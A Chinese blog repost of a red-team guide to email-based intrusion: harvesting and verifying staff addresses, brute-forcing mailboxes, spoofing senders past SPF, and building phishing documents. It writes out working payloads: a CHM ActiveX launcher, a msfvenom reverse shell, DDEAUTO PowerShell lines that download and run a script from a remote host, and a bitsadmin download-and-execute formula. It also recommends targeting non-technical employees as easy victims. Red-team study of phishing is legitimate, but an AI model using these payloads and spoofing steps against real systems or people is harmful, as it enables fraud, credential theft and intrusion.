红队测试之邮箱打点

最新推荐文章于 2024-03-17 09:00:00 发布
最新推荐文章于 2024-03-17 09:00:00 发布
阅读量1.9k 收藏 4
点赞数 1
分类专栏： 钓鱼系列
原文链接：https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247483886&idx=1&sn=4c98836e278737054a2d32416007fa27&chksm=9b39275fac4eae490e0c5ca5f90887aa3b8a441f137d18d3b73470ba46577b41ea3a9cfa1342&mpshare=1&scene=1&srcid=10175NkimB0UVn8XvBv1dZsB&sharer_sharetime
版权

文章目录


#该文章转载于酒仙六号部队，如有不便，请练习本人立即删除

随着互联网信息快速发展，办公已经离不开网络的支持。邮箱成为了人们常用的办公方式之一。

本文主要从信息收集为第一步前提情况下，逐渐延伸到邮件钓鱼方向上，分别有：信息刺探、信息验证、邮箱定位、内容伪造、文件伪造等多个方面展开介绍。

在渗透测试过程当中，使用邮箱打点的方式来进行战场"土工作业"方式一点点掘进到对方内部当中也是常见的一种方式。

这一步是渗透测试重要的一步，在系统无漏洞或无任何头绪的情况下尝试该动作的概率较大。攻击者的内心总会觉得这个信息收集+邮件钓鱼这个组合动作能打出所谓的"漏网之鱼"。

寻找目标开放的邮件服务端口和web端邮箱入口

（1）通过扫描c段找到入口

我们拿到目标网站的时候，首先要先从MX记录域名找到他的真实ip地址（某些目标可能是的是第三方邮件服务器，这种情况mx记录没啥用了）；当我们拿到目标网站的时候，首先要先从MX记录域名找到他的真实ip地址（某些目标可能是第三方邮件服务器，这种情况mx记录没啥用了）；然后针对这个ip地址的c段进行扫描（25、109、110、143、465、995、993端口），一般情况下都很容易找到目标的邮件服务器入口。

在这里插入图片描述

（2）通过扫描子域名的的方式找到邮件入口

这里扫描子域名的工具有很多，如Sublist3r、TeeMO、LangSrcCurise、挖掘机等不一一举例。

在这里插入图片描述
在这里插入图片描述

（3）通过搜索引擎爬取

Google hack 搜索；

百度、搜狗、360、bing。

site:target.com intitle:“Outlook Web App”

site:target.com intitle:“mail”

site:target.com intitle:“webmail”

Shodan、fofa、zoomeye搜索等

在这里插入图片描述在这里插入图片描述

批量收集目标邮箱的一些常规途径
https://hunter.io/

在这里插入图片描述
http://www.skymem.info/
在这里插入图片描述https://www.email-format.com/i/search/

在这里插入图片描述
这款提莫工具也具有相关域名邮箱搜集能力。

https://github.com/bit4woo/teemo
在这里插入图片描述还有从搜索引擎、空间搜索引擎、社交、招聘网站等搜邮箱的方式。

https://github.com/laramies/theHarvester

这款工具默认集成了很多 api,通过这些接口我们可以很方便快捷的去批量抓取目标邮箱。因为api都是默认的，有些没有填，所以结果比较少，因此在实战过程中配合其他工具搜索，然后结合汇总最终的查询结果。

python3 theHarvester.py -d xxx.com -l 1000 -b all -f test.html

在这里插入图片描述
验证邮箱

在收集邮箱之后，我们要对邮箱进行验证，因为有些邮箱目标企业人员已经放弃或不用（离职，职位调动等）。

（1）通过mailtester.com可以查询邮箱地址是否存在。

https://mailtester.com/testmail.php

在这里插入图片描述

（2）verifyemail这款工具可批量验证邮箱。

https://github.com/Tzeross/verifyemail

在这里插入图片描述（3）mailtester.py

这款工具可以自动组合邮箱地址再根据组合的结果逐个验证。

脚本的好处在于,它会根据 First / Last Name 中的名字随意拼装组合,然后再对其进行逐个验证。

当我们在对邮箱用户进行枚举的时候，尽量多找一些字典，如中国人姓名拼音、字母缩写top100，1000，10000，此处我们需要更多的鱼叉，多一个邮箱就多一份成功率。

当然可以把搜集到疑似网络管理员、运维人员、安全部门的人员提取出来，这些人单独写邮箱或者不发，因为这些人安全意识相对较高，容易打草惊蛇，我们需要对一些非技术员工安全意识薄弱的人下手，挑软柿子捏

在这里插入图片描述
这里可以配合这个网址https://www.aies.cn/pinyin.htm 根据收集到的目标信息制定对应人名字典进行组合。

在这里插入图片描述
在这里插入图片描述
邮箱爆破
这种方式的弱口令爆破只适用于目标企业自己的邮件服务器如owa等 像百度腾讯阿里网易的邮箱不优先考虑。

用到的工具medusa、hydra、SNETCracker、APT34组织 owa爆破工具等。

另外邮箱用户名与密码往往还会使用公司简称+2019，2020等社工口令，多一个字典就多一份成功率。

在这里插入图片描述在这里插入图片描述
邮箱伪造
一般情况下没有SPF可以 直接用swaks伪造。

在这里插入图片描述

这里简单讲一下spf和dkim 。

SPF: 可以大致理解它的作用是确认邮件的ip地址到底是不是在它域名的spf记录里面，如果在的话，就说明一封正确的邮件，不是的话就会被丢弃。

DKIM:它的作用主要是来校验邮件数据在传输过程中是否被修改过，也可以简单的理解为确保邮件在发送过程中的完整性。

在有SPF的情况下，就需要绕过SPF,可以使用swaks+smtp2go，需要借助到邮件托管平台来绕过SPF监测。

SMTP2GO的配置：

需要建立账户和验证域名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述swaks --to xxx@163.com
–from admin@gov.com
–ehlo xxx
–body “hello ，i’m 007"
–server mail.smtp2go.com -p 2525 -au user -ap pass

在邮箱地址下面会出现由xxx平台代发，当然没有仔细看或者不懂技术的人员很容易上当。

在这里插入图片描述
另一种方法也可以保存eml格式文件。

在这里插入图片描述
删除from之前的字段,修改To字段邮箱。

swaks --to test.163.com
–from admin@110.com
–data 1.eml --h-from
–server mail.smtp2go.com -p 2525 -au user -ap pass

在这里插入图片描述

钓鱼文件制作

1）传统宏文件

在这里插入图片描述
在这里插入图片描述

2）CHM钓鱼

新建一个文件夹将以下代码复制到index.html中，然后EasyCHM工具生成就可以了。

这里是弹出一个计算器，可以把计算器换成我们的木马。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=", calc.exe">
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

在这里插入图片描述
生成后起一个容易上钩的名字。

在这里插入图片描述
在这里插入图片描述

3）CVE-2018-2174

exp地址：

https://github.com/0x09AL/CVE-2018-8174-msf.git

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4）Windows 快捷键

先利用MSF生成一段payload：

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=1234 -f msi > shell.txt

msiexec.exe，系统进程，是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

在这里插入图片描述

在这里插入图片描述
当然方法不唯一，还有很多种方式如用powershell 来远程下载执行自己的 木马等。

5）构造DDE钓鱼文档

创建一个文档,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。

DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe”

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

DDEAUTO "C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://xx.xx.xx.xx/1.ps1'); # " "Microsoft Document Security Add-On"

在这里插入图片描述
在这里插入图片描述
点击后上线。

在这里插入图片描述

6) word 中插入外部对象(OLE)方式欺骗

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击即可上线。

7) IQY特性钓鱼

利用nishang下的Out-WebQuery.ps1， 脚本生成包含恶意 payload url 的 iqy 文件。

powershell –exec bypass –Command "& {Import-Module 'C:\Epic\nishang-master\Client\Out-WebQuery.ps1';Out-WebQuery -URL http://192.168.1.5/iqy.html}"

在这里插入图片描述
在iqy.html页面中写入：

=cmd|' /c bitsadmin /transfer c6c5 http://ip:port/a %APPDATA%\c6c5.exe&%APPDATA%\c6c5.exe&del %APPDATA%\c6c5.exe '!A0

在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
bitsadmin传输是真的慢…

除了钓鱼，也可以用这一特性窃取目标用户的账户密码等敏感信息。

8）PPT 动作按钮特性构造 PPSX钓鱼

在这里插入图片描述
由于我这里HTA上线可能是系统版本原因总出问题，所以我用hta 去加载 ps,然后再用 ps 去远程加载执行指定的cs马。

在这里插入图片描述
在这里插入图片描述
这里一定要保存成ppsx格式的。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9）RAR解压钓鱼

WinRAR漏洞exp:

https://github.com/WyAtu/CVE-2018-20250

生成，发送给目标机解压。由于临时演示没有做免杀处理，重启机器后马被火绒拦截了。

在这里插入图片描述

在这里插入图片描述
另外还有利用目标登录口的钓鱼页面来窃取各种, Vpn , Mail , OA ,账号密码等，实际红队钓鱼方式与细节非常多不一一举例了。

Mamba start
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Go-smtp2http是一个简单的smtp服务器
08-13
smtp2http是一个简单的smtp服务器，它接收 smtp请求（电子邮件）并作为http post请求发送到指定的webhook
使用Swaks绕过SPF验证进行邮件伪造
y995zq的博客
02-16 7864
目录 swaks简介 swaks参数说明 伪造发送 绕过SPF 1.先配置smtp2go 2.伪造邮件绕过 3.SPF验证原理 4.总结 #本文章借鉴渗透测试中心 链接：https://www.cnblogs.com/backlion/p/10842676.html 首先了解一下什么是Swaks。 swaks简介 Swaks是一个功能强大，灵活，可编写脚本，面向事务的SMTP测试工具，由John Jetmore编写和维护。 目前Swaks托管在私有svn存储库中。官方项目页面..
红队攻防常见打点漏洞总结
最新发布
Python_paipai的博客
03-17 579
sentinel弱口令、mysql的3306弱口令，但我未见到过外网的SQLServer的弱口令（推测原因是，如果存在弱口令，早就被外网的那些抓肉鸡战队给光顾了）、phpmyadmin弱口令、管理员弱口令（进后台能看到通讯录的话，也是有价值的）、druid未授权获取session，登录后台获取数据。内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…3、朋友同事之间的讨论；
python 伪造源ip_Swaks伪造邮件
weixin_39908985的博客
12-31 1092
0x00 swaksswaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.swaks堪称SMTP协议的瑞士军刀，使用它我们可以灵活的操作SMTP协议报文，这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。通常最简单的发送命令：swaks --to [email protected] --s...
ESP8266使用邮件客户端 Arduino 库发送邮件(兼容ESP32)
跨学科知识视角展现
08-30 1425
使用 ESP8266 发送邮件可以方便地处理各种事情。 可以让 ESP8266 直接访问您的邮件服务器（例如 Gmail、Hotmail、Outlook）并通过它发送邮件，但许多邮件服务器会拒绝从不同于邮件服务器的域（您的 ip）发送的邮件。 因此，在这些情况下，使用 smtp2go.com 等第三方服务会更安全。只要您保持在一定的电子邮件限制以下，就可以获得一个免费帐户。 使用 SMTP2go 注册 smtp2go 后，您需要为您的 smtp 登录选择用户 ID 和密码。因此您有两组 ID 和密码：一组用
go语言使用smtp发送邮件
猿刊
03-30 1857
在 go 语言里想要发送smtp邮件是非常容器的事情，官方自带 net/smtp 包可以使用，不过这里介绍的是另一个包：gomail ，不是因为别的，主要是上手简单。 import ( "gopkg.in/gomail.v2" ) // 初始化 m := gomail.NewMessage() // 发邮件的地址 m.SetHeader("From", "[email protected]")...
05-红队测试之邮箱打点.pdf
09-20
05-红队测试之邮箱打点.pdf
红队渗透打点工具-FindUpload
03-07
FindUpload是一款红队打点工具，帮助渗透测试人员批量url快速发现文件上传点和登录框，提高渗透测试效率和减少手工发现时间。
红队测试之Linux提权小结1
08-03
提权背景权 限 提 升 意 味 着 用 户 获 得 不 允 许 他 使 用 的 权 限 。比 如 从 一 个 普 通 用 户 ， 通 过 “ 手 段 ” 让 自
红队测试指南RedTeam Testing Guide.pdf
08-12
红队测试指南
渗透测试/红队/src全方位测试字典
09-01
这是安全测试人员的伴侣。它是安全评估期间使用的多种类型的列表的集合，收集在一个位置。列表类型包括用户名、密码、URL、敏感数据模式、模糊有效负载、Web 外壳等等。目标是使安全测试人员能够将此存储库拉到新的...
黑客组织从2018年底开始利用CVE-2018-0798公式编辑器漏洞
systemino的博客
08-03 1580
Anomali研究人员在追踪Royal Road RTF文档武器化过程中发现多个攻击组织利用CVE-2017-11882和CVE-2018-0802漏洞。 Anomali研究人员在追踪Royal Road RTF文档武器化过程中发现多个攻击组织利用CVE-2017-11882和CVE-2018-0802漏洞，多个X国攻击组织从2018年12月开始更新了其武器来利用微软公式编辑器漏洞CVE-201...
代码审计之CVE-2018-7600-Drupal远程代码执行漏洞-Render API
weixin_30341735的博客
03-15 483
　　今天学习一下Drupal的另一个漏洞，由于渲染数组不当造成的漏洞 　　poc： url:http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post： 'mail[a][#...
18年远程cve漏洞及利用对应exp
weixin_42373409的博客
09-14 786
CVE-2018-2628 Oracle Weblogic Server Deserialization RCE CVE-2018-2628 https://www.rapid7.com/db/modules/exploit/multi/misc/weblogic_deserialize CVE-2018-10933 libSSH Auth Bypass Exploit CVE-2018-10933 https://paper.seebug.org/720/https://github.com/.
修复web生产平台项目下的漏洞修复（CVE-2018-19518、CVE-2018-19935、CVE-2017-9798）
向技术大牛致敬
03-27 6491
漏洞信息： University of Washington IMAP Toolkit 2007f 命令注入漏洞(CVE-2018-19518) PHP 安全漏洞(CVE-2018-19935) Apache HTTP Server 安全漏洞(CVE-2017-9798)【原理扫描】 漏洞说明： University of Washington IMAP Toolkit 2007f...
CVE-2018-8174双杀漏洞复现总结
weixin_44283446的博客
03-28 5481
CVE-2018-8174双杀漏洞复现总结漏洞原理环境说明漏洞复现 记录一下CVE-2018-8174双杀漏洞的复现过程 漏洞原理 环境说明 攻击机：kali 靶机：windows2008 漏洞复现 在kali上下载exp https://github.com/Yt1g3r/CVE-2018-8174_EXP.git 也可以下载到本地 手动上传到kali上去 进入exp目录，生成payload cd CVE-2018-8174_EXP-master python CVE-2018-8174.py
CVE-2018-8174漏洞利用及漏洞加固
丶没胡子的猫
10-24 1080
目录漏洞描述影响版本漏洞利用方法一方法二漏洞修复参考地址 漏洞描述   VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录，则成功利用此漏洞的攻击者可以控制受影响的系统。然后，攻击者可能会安装程序。查看，更改或删除数据；或创建具有完全用户权限的新帐户。   在基于Web的攻击情形中，攻击者可能拥有一个旨在通过Internet E
Weblogic 任意文件上传漏洞（CVE-2018-2894）
EC_Carrot的博客
08-18 230
漏洞详细 影响范围：Oracle WebLogic Server 10.3.6.0版本，12.1.3.0版本，12.2.1.2版本，12.2.1.3版本。 详细请看：https://vulhub.org/#/environments/weblogic/CVE-2018-2894/ 漏洞复现 访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/A
APT攻击与银行
weixin_30872337的博客
09-21 924
APT与传统攻击 APT：团队作战，拥有自研工具集，意图明确，技术高超，拥有政府或商业背景，潜伏期多达数年。 传统攻击：脚本小子，水平参差不齐，短期攻击，直接获取利益为目标。 攻击目标 APT攻击链 银行安全 体系庞大 内部部门庞大 业务类型繁多 人员混杂/外包人员 外强里弱 各类老旧系统 业务、技术复杂 过于依赖安全设备 安全人员水平.... 钓鱼攻击 社会工程攻击的...
红队渗透测试lampiao
09-14
lampiao是一个用于红队渗透测试的虚拟机靶机。根据引用提供的信息，你可以通过以下步骤来进行该渗透测试: 1. 下载lampiao虚拟机：你可以从"https://download.vulnhub.com/lampiao/Lampiao.zip"下载lampiao虚拟机。下载完成后，解压缩文件并使用VirtualBox打开.ovf文件。 2. 扫描靶机信息：根据引用，你可以使用nmap工具对lampiao虚拟机进行详细的端口扫描，以了解是否有遗漏的端口。确保扫描到的所有端口都被纳入考虑范围。 3. 探索漏洞利用工具：根据引用，你可以搜寻一些漏洞的利用工具，如mirrors、FireFart和DirtyCOW。这些工具可能有助于你发现靶机中存在的漏洞，并帮助你进一步的渗透测试。 4. 利用漏洞进行渗透：一旦你发现了可能存在的漏洞，你可以使用相应的漏洞利用工具或手动方法来利用这些漏洞。这将帮助你获取更深入的访问权限，并探索靶机内部的潜在目标。 注意：在进行任何渗透测试之前，请确保你获得了合法的授权，并在合法的环境中进行测试。渗透测试是一项敏感的活动，需要遵守法律和道德规范。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值